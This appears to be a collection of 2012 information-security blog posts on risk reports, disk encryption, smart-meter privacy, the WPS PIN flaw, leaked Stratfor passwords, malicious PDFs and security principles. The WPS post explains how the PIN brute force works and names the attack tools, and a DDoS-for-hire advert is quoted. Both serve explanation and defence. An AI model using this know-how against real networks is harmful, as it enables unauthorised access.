Now in its seventh issue, the Global Risks Report is drafted by the WEF’s Risk Response Network (RRN), which provides an impartial platform to map, monitor and mitigate the the risks that it identifies. Each year, the WEF tracks fifty risks across five main categories – Economic, Environmental, Geopolitical, Societal and Technological. In 2012, 469 experts and industry leaders were surveyed, and were asked to look at a ten-year threat horizon, assessing the severity of each risk on a five point scale. This year, three main risk cases were identified:

• Dystopia, a constellation of discal, demographic and societal risks signalling a dystopian future for humanity
• Inability of existing safeguards to protect us from risks arising from emerging technology, resource depletion and climate change
• Hyperconnectivity, making us vulnerable to cyber threats and digital disruptions with a shift in power to less resourced actors.

Cyber attack featured as the fifth most likely risk in the 2012 report, the first time in five years that a technological risk has featured in the top five. The last time, in 2007, “Breakdown of critical Information Infrastructure” featured as the most likely risk, though it was soon knocked out of the top five by a series of economic risks after the global credit crisis in 2008.

Hyperconnectivity

Information Security issues were captured within the Hyperconnectivity risk case, which refers to a constellation of threats centred around the failure of critical infrastructure. The threats include Cyber Attacks, massive data fraud or theft and large scale digital misinformation, all of which were considered to be low likelihood but high impact risks. Cyber attacks identified by the WEF included complex, high cost, sabotage and espionage attacks – usually the domain of governments and corporations – through to low cost subversive attacks, often perpetrated by pressure groups like the Anonymous hacking network.

Suggestions

WEF made four suggestions to world leaders to help reduce the risks that had been identified:

Realign incentives. Currently the risk of cyber attack is talked up by security vendors, and talked down by most other corporations, who rarely admit being a victim. It is therefore almost impossible to determine the true level of risk. Incentives must be realigned to encourage victims to speak out.
Multistakeholder collaboration. Corporations have no incentive to help secure anything but their own network. Governments and the private sector must work together, recognising that insecurity anywhere is a threat to the rest of the system.
A market for exploits. All systems have vulnerabilities, and in addition to improving the standard of software at release time, there will always be a need for patching. At the moment there isn’t a large enough incentive for ‘white hat’ hackers to test for vulnerabilities in commercial software. Until a regulated market exists for exploits, the sale of vulnerability information on the black market is a risk.
Development of social norms in cyberspace. Actions which are not socially acceptable in the real world – theft, industrial espionage – are readily and open conducted in cyberspace. A discussion on the roles of accetable engagement for corporate esiponage is required, and social research is required to understand why social norms from the real world do not carry over into the online world.

The full WEF Global Risks Report 2012 can be downloaded as a PDF here.

Many of us now have private information on our computers: personal records, business data, e-mails, web history, or information we have about our friends, family, or colleagues. Encryption is a great way to ensure that your data will remain safe when you travel or if your laptop is lost or stolen. Best of all, it’s free. So don’t put off taking security steps that can help protect your private data. Join EFF in resolving to encrypt your disks 2012.

What is it any why should it be used?

Full disk encryption has long existed as a method of protecting all the data on a drive. Usually, the whole disk is encrypted using a small utility and a new bootloader is installed which prompts the user for a password when the computer is turned on. If the correct password is entered, the decryption key is loaded into memory, the disk is decrypted on the fly, and data is accessed in the usual way.

The protection is only in place when the machine is turned off – once it has been turned on, and the key entered, all data is available. As a result, full disk encryption effectively mitigates against:

• computer theft and loss
• physical data theft
• computer inspections by border guards
• data being used in evidence (though this is not legal in all countries)

There are two downsides to full disk encryption that need to be considered – if the password is lost, so is the disk, and the data read/write speed is often slower for an encrypted disk.

How is it implemented?

Encrypting a disk has never been a particularly difficult thing to do, but in the past it has relied on purchasing or downloading specialist software. PGP, recently acquired by Symantec, have a commercial solution and Truecrypt is the de-facto free equivalent.

In the last few years, though, whole disk encryption has become much, much more accessible. Microsoft led the way with the release of BitLocker, an encryption product included with the Enterprise and Ultimate editions of Windows Vista and Windows 7. BitLocker uses AES encryption in Cipher Block Chaining (CBC) mode with a 128 bit key. It caused an outcry amongst law enforcement agencies because Microsoft refused to put in a back door, allowing them to decrypt computers that may contain evidence.

In the latest version of OSX Lion, Apple have introduced FileVault 2 full disk encryption, which, like BitLocker, uses AES 128 bit encryption. This time, the AES is in XTS-AESW mode as is recommended by NIST in SP800-38E.

Selecting a pass phrase

Of course, full disk encryption is only as strong as the passphrase selected by the user. EFF recommend the use of Diceware, a technique that involves rolling dice to randomly select words from a dictionary. The Pass Phrase Generator seems to work in a similar way, but without the requirement for dice.

In short, full disk encryption is now free, very easy to implement, and will give complete peace of mind if a computer gets into the wrong hands (however you might define that).

What are Smart Meters?

Smart meters measure the consumption of electricity in a home or business. Like non-smart meters, they are the mechanism through which the utility company knows how much electricity a consumer as used – a figure from which the bill is calculated and generated. Smart meters have added value, though:

• They are digital
• They have memory and can store consumption history
• They are web connected and can transmit acquired data

The benefits are:

• a consumer gains visiblity of their usage and can optimize their consumption
• the utility provider canvary their service charges
• the infrastructure provider can better utilise their power infrastructure

But are these devices safe, and what impact do they have on privacy?

Privacy Concerns

The device tested by Carluccio and Brinkhaus was from Discovergy, who assured that the Discovergy GUI interface was HTTPS encrypted and that the transmission of data to Discovergy was encrypted and signed (to prevent fraud). The researchers however discovered that the SSL certificate was not configured properly and their browser generated a certificate warning. After authentication, the site also redirected to a non-SSL version.

What about the data being sent back to Discovergy? This was not properly encrypted or signed either, and the researchers were able to intercept the data, change it, and hence alter their bill. After some manipulation, here was the consumption graph of the researchers:

Perhaps the most alarming development for privacy, though, was that the meter recorded usage in two second intervals. Whilst this is great for understandind consumption with a very high fidelity, it also means that a pattern of life can easily be built through analysis of the consumption graphs. For example, it was possible to tell when the fridge was on, when the iron was on, or even which channel was showing on the television (by how much power was required for the plasma screen to display the image).

During the Q&A session, the CEO of Discovergy introduced himself to the audience and was invited to the podium. He explained that the reason Discovergy were collecting per second data was to allow consumers to profile their devices and to understand which of them may be consuming excessive amounts of electricity. In the future, he assured the audience, consumers would be able to opt out of detailed data collection.

Authentication mechanisms can make use of one of more ‘factors’. They are typically:

• Something ‘I know’ (a password)
• Something ‘I have’ (a token, or in this case, a peripheral)
• Something ‘I am’ (a biometric)

Standard authentication on a personal computer is single-factor – the user must identify themselves with a username, and then authenticate with a password (something ‘I know’). Forgotten passwords, which this patent filing covers, are typically recovered using either a hint, or providing an answer to one or more secret questions (also in the something ‘I know’ factor). Hints are not particularly secure because they point an attacker (or thief) towards the correct password. Secret questions, unless chosen wisely, are not much better, because the attacker may be able to discover the answers.

Apple’s suggestion is designed to prevent thieves accessing personal computers, but introducing a second factor – something ‘I have’ – into password recovery. From the filing:

One of the threat models which this approach addresses is that in which an opportunistic thief steals a portable device while the user is “out and about” – that is, the device is being carried by the user and is physicaly separate from its associated peripheral or companion device. One example is a student that takes her laptop computer to a university class, but leaves the docking station in her dorm room. Another example is an employee that takes his portable media player to work, but leaves the power cord in a locker.

Apple propose placing a small memory chip in the power adaptor containing a secret which will unlock the computer and allow a user to reset a forgotten password. Without the power adaptor, the password would not be recoverable. The filing goes further to suggest that the computer may also need to receive permission from Apple (perhaps via a user authentication on the Apple website) to reset the password. This really would be two factor – one password on the Apple website coupled with a physical token concealed in the power adaptor.

In order to prevent attacks against the power adaptor, the proposal is that the secret key on the adaptor is itself encrypted with a second key held only on the laptop. Therefore only a complete pairing of adaptor and laptop will allow access.

Of course, if this system is ever rolled out, thieves will learn to steal the power adaptor. Apple suggest that more than one peripheral could be included in this scheme, and that each peripheral could contain credentials for more than one device. The filing also suggests that a third authentication factor could be included – a biometric signature, required by the peripheral before it would release its secret key.

Hello Hackers.
I’m here to promote [a] professional, cheap, DDoS service.
It’s strong, fast, interested, with no time limit.
What we do is take down large websites, large forums, games servers and website blogs.
You can blow your competition and web enemies away.
You can reach us at Skype, Yahoo or MSN [and] we look forward to doing business with you.

The service, which has an associated web forum post advertising rates of $2/hr for up to 4 hours, $5/hr for up to 72 hours, and a fixed rate of $1,000 for a month, takes payment in PayPal, Liberty Reserve and Western Union.

Although hacking and disruption “as a service” have been around for a long time, this is a particularly brazen advertisement on YouTube, whose members haven’t responded particularly enthusiastically.

A subsequent investigation revealed that the court stenographer, Terlesa Cowart, who has responsibility for creating the official record of the trial, was using a stenography machine capable of simultaneously capturing the transcript digitally and on paper. Unfortunately, in this case, the machine ran out of paper during the trial, and the transcript was only kept digitally. After the trial, the official court record was transferred to Cowart’s desktop computer and wiped from the stenography machine.

So far, so good. Unfortunately, though, Cowart’s computer was struck by a virus, which wiped the only remaining copy of the transcript. Without an official record of the conviction, the appeals court had no choice but to order a retrial.

Information Security is the art of protecting the Confidentiality, Integrity and Accessibility of data. Security experts often concentrate on protecting confidentiality at the risk of overlooking accessibility, which is often the target of a computer virus. A proper data warehousing and backup policy would have averted this disaster, and an anti-virus policy could well have helped too (though there is, of course, no guarantee that the virus would have been detected).

Remember, Information Security should be free – the money saved not running a retrial could easily have paid for a backup and data warehousing solution. Following a rigorous Risk Management process will highlight the cost (and likelihood) of events like this, and will help to justify the cost of proper mitigations.

WPS is a mechanism that was developed to make it simple for new devices to be added to an existing wireless network without having to understand the complex configuration required for a WPA2 protected network. The WPS enabled router has a PIN printed on the back which is entered into a wizard on the new client. The client communications with the router or access point over the wireless network using a series of EAP messages. At the end of the process, the access point disassociates from the client and waits for the client to connect with its new configuration.

WPS PINS are eight digits long, giving a brute-force complexity of 10^8 (100 million attempts required to guarantee success). The last digit of the PIN is a checksum, so can be calculated. This reduces the complexity to 10^7 (10 million attempts). Viehbock’s discovery, which alters the playing field completely, is that devices behave differently if the first four characters of an incorrect PIN are correct. It is therefore possible to brute-force the first four characters, followed by the last three characters, instead of having to guess all seven characters at once. As a result, the complexity of the problem is reduced to 10^4 followed by 10^3 (11,000 tries in total). In addition, Viehbock discovered that a number of popular routers do not have any brute force protection, allowing PIN guesses to be made in rapid succession.

In a video posted on Viehbock’s blog, he demonstrates an attack that completes in 45 minutes.

US-CERT have confirmed the vulnerability:

An attacker within range of the wireless access point may be able to brute force the WPS PIN and retrieve the password for the wireless network, change the configuration of the access point, or cause a denial of service.

We are currently unaware of a practical solution to this problem.

Please consider the following workaround – within the wireless router’s configuration menu, disable the external registrar feature of WiFi Protected Setup (WPS). Depending on the vendor, this may be labeled as external registrar, router PIN, or WiFi Protected Setup.

A number of tools have been released that weaponise the vulnerability, including Viehbock’s proof of concept tool WPS-crack and Craig Heffner’s tool Reaver.

The Tech Herald acquired a list of the password hashes and spent just under five hours cracking them. In this time, with the use of 42 lists of common words or passwords, they cracked just under 10% of the 860,160 released hashes.

Stratfor had imposed a six character lower limit on password selection. Unsurprisingly, a large number of passwords were only six characters long (30%) with less than 20% being eight or more characters. A number of rather insecure passwords were detected by The Tech Herald and released:

Even those users who chose long passwords weren’t necessarily chosing the most secure. The most common eight character password was ‘PASSWORD’ (closely followed by ‘stratfor’), the most common nine character password was ‘PASSWORD1′ and the most common ten character password was ‘Password01′. Although a derivation of ‘password’ was not the most common eleven character password (which, incidentally was ‘information’), the second most common eleven character password was ‘Password123′.

And Stratfor aren’t alone, either. Take a look at this Infographic from Veracode, which sets out Twitter’s unending problem with insecure passwords. Twitter have now taken the rather sensible step of now banning 401 obvious passwords and closing accounts that aren’t secure.

This research serves as a welcome reminder that we should all reconsider our password policies. We should not only secure our internal systems through the use of policies, we should also require that our staff use secure passwords when accessing third party systems. If the user whose password was ‘blackwater’ was a member of that company, he could possibly have caused his organisation some serious embarassment if his account had been compromised prior to this leak.

When designing services for customers or the public, we should enforce complex passwords, and should also consider blacklisting common derivations of ‘qwerty’, ‘password’ and other similar shortcuts. In short, we should do everything that we can to avoid ‘************’ being submitted by any user as their password, or being accepted by any system as suitable.

Trend Micro researchers have collected a number of spam e-mails sent in the days after Mr Kim’s death that contain malicious PDF file attachments. The e-mails announce the death of Kim Jong-Il and carry a PDF file named ‘A Brief Introduction of Kim Jong-Il’.

Analysis of the PDF attackment by Erika Mendoza at Trend Micro revealed that it exploits CVE-2010-2883 and CVE-2011-0611 in Adobe Reader and Acrobat. It drops a backdoor that provides the ability to upload and download files, execute files and terminate processes.

1. Know what you are protecting, and why you are protecting it

This is, by far, the most important rule of Information Security and it comes down to this simple fact: whatever you are doing, do it for a reason. Usually, security requirements lead back to the CIA triad (Confidentiality, Integrity, Accessiblity), and so should all your risk assessments, your plans and your mitigations. Unlikely as it is, if none your data is not worth anything, then confidentiality should be a requirement that you put little if any resource into achieving.

2. Understand your enemy

Once you have decided what you are protecting and why, you need to identify the hostile actors that you will defend against. These could be your commercial competition, low level criminals, organised crime groups, state sponsored actors or even disgruntled employees. This rule should probably read “Understand your enemies”, because you will almost certainly identify more than one. You should pay particular attention to the groups that you don’t care about, and should avoid wasting time defending against them.

When you have identified a group of hostile actors, you must devote time to understanding their capabilities. You should understand the attack vectors that they use regularly against similar organisations and also the defences that others have successfully used against them. Cooperation with partners (and even competitors) in your industry will be essential.

3. Defence should be in depth

Applying multiple layers of defence is a military tactic designed to reduce the momentum of an attacker, who you confront with a number of different defensive tactics one after another. It is a strategic decision to give some ground to the attacker, whilst buying time for the defender. The concept was first applied to Information Security by the National Security Agency (NSA) in the United States. In short – do not rely on one single defensive measure – complement your primary defences with a series of (always different) secondary and tertiary layers.

4. Accept some risk

Risk Management is not a process that reduces risk to zero – any attempts to do so will certainly fail, and will consume significant amounts of money and manpower. Instead, should identify risks in your business that are not acceptable, mitigate them as far as possible, and then accept whatever residual risk remains. Being comfortable with accepting risk (and being able to express that risk to management) is an important element of Information Security.

5. Technology is the least of your worries

Information Security is not just a technology problem, it is often a people problem. Although a few risks exist that are purely technological (disk drives crashing, and taking data off-line for example), your biggest threat is almost certainly your workforce. A maliciously motivated insider with access to your data can cause untold damage. Don’t forget that your most dedicated staff will also make mistakes (losing confidential disks, clicking on phishing links, connecting new computers to the network without permission) which you need to prepare for.

Further Reading: Secure Hiring Practice and Employee Controls.

6. Your strength is a function of your weakest link

I was at a trade exhibition in Europe in 1997 at which the manufacturer of a new firewall launched a ‘Capture the Flag’ competition. They placed a server in a cabinet and put the root password on a big poster for all to see. The server was behind their new firewall, and the challenge was to hack through the firewall, log in to the server with the password provided and retrieve the flag, which was a code saved in a text file. Hundreds of members of the public were queuing up to plug their laptops into the network and to attempt to hack through the firewall.

One clever pair of hackers tried a different attack vector. The first hacker distracted the staffer who was manning the stand. The second hacker opened the cabinet and logged onto the server using the keyboard and monitor inside. He retrieved the flag in seconds. The weak link? The cabinet wasn’t locked. You can build the tallest, smartest, strongest wall possible around your compound, but it is useless if you don’t lock the gate.

7. People are your solution

Rule 5 stated that ‘Technology is the least of your worries’ and that your biggest threat is usually your workforce – whether disgruntled or not. Once you’ve accepted this, the next stage is to realise that your people are also your biggest asset. As well as fulfuling the important role of generating your income, they are also your most effective (and intelligent) early warning system. Any security process that you design should have your people at its heart, and should focus on training them to add to your organisation’s security.

8. Security is journey, not a destination

Remember that achieving a safe and secure operation is an ongoing process. The assets that you are protecting are constantly changing, as are your priorities. So too are those hostile actors who may wish to breach your security – new competitors will emerge, employees will come and go, criminal groups may move into, or out of, your market. Don’t set aside a fixed resource to ‘make the organisation secure’ – you’ll need to dedicate resource on an ongoing basis.

9. Get top cover

An effective Information Security programme will reach into all areas of an organisation, and will require changes in areas like corporate technology, human resources, finance and estates. An Information Security Officer must have agreement and sponsorship at board level for the changes they are trying to implement across the organisation. Without this sponsorship, introducing a security programme will be an uphill struggle.

10. Be honest

Mistakes will happen, intrusions will occur, and your employees will make mistakes. A culture of honesty – encouraging those who have made mistakes to come forward and admit them for the good of the organisation – is essential to protect security. If you can build an honest workforce, trained to consider security at all times, and motivated to put the organiastion first, you will have most of your job complete.

The Digital Threat Manifesto

All information security processes should exist to satisfy one of three requirements – Confidentiality, Integrity or Accessibility – often known as the CIA triad. That is, your security sytems should exist to protect your data from prying eyes (confidentiality), to protect it from being changed without authorisation (integrity) or to protect it from down-time (accessibility).

Security professionals are often guilty of overlooking integrity and accessibility and think of information security purely in terms of keeping their data safe from prying eyes. They also make the assumption that the products they use to secure their system will all help with confidentiality. Anti-virus products, though, exist to detect and remove large scale virus infections, very few of which ever steal or change corporate data. Instead, viruses usually cause disruption, make use of computer or network resourses (in DDoS attacks, for sending SPAM, for scanning networks etc), or in some cases target the financial data of home users (credit card details, BitCoins etc).

If a virus were to find its way onto a corporate network, it is unlikely that confidentiality would be breached. It is more likely that large scale disruption would occur, and that an expensive cleanup operation would be required, consuming both man-power and money and requiring system downtime. Viruses then, are more likely to affect the accessibility of a system than it’s confidentiality or integrity. Of course, it is possible that your system could be subject to a sophisticated attack, perhaps by a competitor, with the aim of stealing confidential corporate data. It us unlikely, though, that your anti-virus system would spot it.

(Edit: this article about a hospital in Georgia illustrates the disruptive effect that a malware strike can have).

Accessibility is an important requirement under the CIA triad, and it is certainly worth having a corporate anti-virus solution in place to mitigate the risk of a large scale infection. It is important though, when planning your security architecture, to understand that the money you invest in your anti-virus solution is invested to keep your system online, and not to protect your data from theft. It is equally important that you ensure you have other mitigations in place to protect your data from competitors. Relying on anti-virus alone to mitigate data theft will not prove to be a successful strategy.

In his latest work, DarkMarket: CyberThieves, CyberCops and You, Glenny has turned his hand to a new subject: Cyber Crime.

Dark Market is the story of the long investigation by Keith Mularski of the FBI and Inspector Bilal Sen of the Turkish Police to disrupt cyber criminals who were acquiring, trading and exploiting stolen credit card data. It is a fantastic tale that documents the side of cyber crime that readers of this website will be least familiar with – the side after the data has been stolen. The book is a thrilling tale of criminal rivalry and sabotage, matched only by the inter-departmental rivalry between the FBI and the US Secret Service in responding to the crime. It’s a complicated story, with the criminals pitted against not just each other, but the combined might of the FBI, the Secret Service, the UK’s Serious Organised Crime Agency, the Turkish Police and the German Police.

The criminals were acquiring the data using credit card skimming devices and by hacking into eCommerce platforms. This data was then traded on forums – sold from those who acquired the data to wholesalers who would sell it on to teams who could ‘cash out’ the money by creating clone cards and visiting banks or ATMs. The trading was conducted on large websites – CarderPlanet, CardersMarket and DarkMarket – populated by hackers, criminals and police, all presided over by the main subjects of the book – Sri Lankan Tamil immigrant ‘JiLsi’, fifteen year old German schoolboy ‘Matrix001′, egotistical US hacker ‘IceMan’, a mysterious, possibly still unidentified, Turkish criminal ‘Cha0′ and, most importantly of all, ‘Master Splynter’, an undercover FBI agent.

In the process of writing the book, Glenny has clearly needed to use some of his interviews with the subjects to bring himself up to speed with the technical concepts involved and, as a result, the book is far from technically perfect. Glenny has sensationalised topics which aren’t particularly sensational – his reference to an IT administrator enabling his monitoring system as “waking the mighty VNC beast” was particularly jarring. We can forgive him this error, though, for he has set out in a highly enjoyable read, the personal stories of those whom we in Information Security work against every day, but rarely see or know.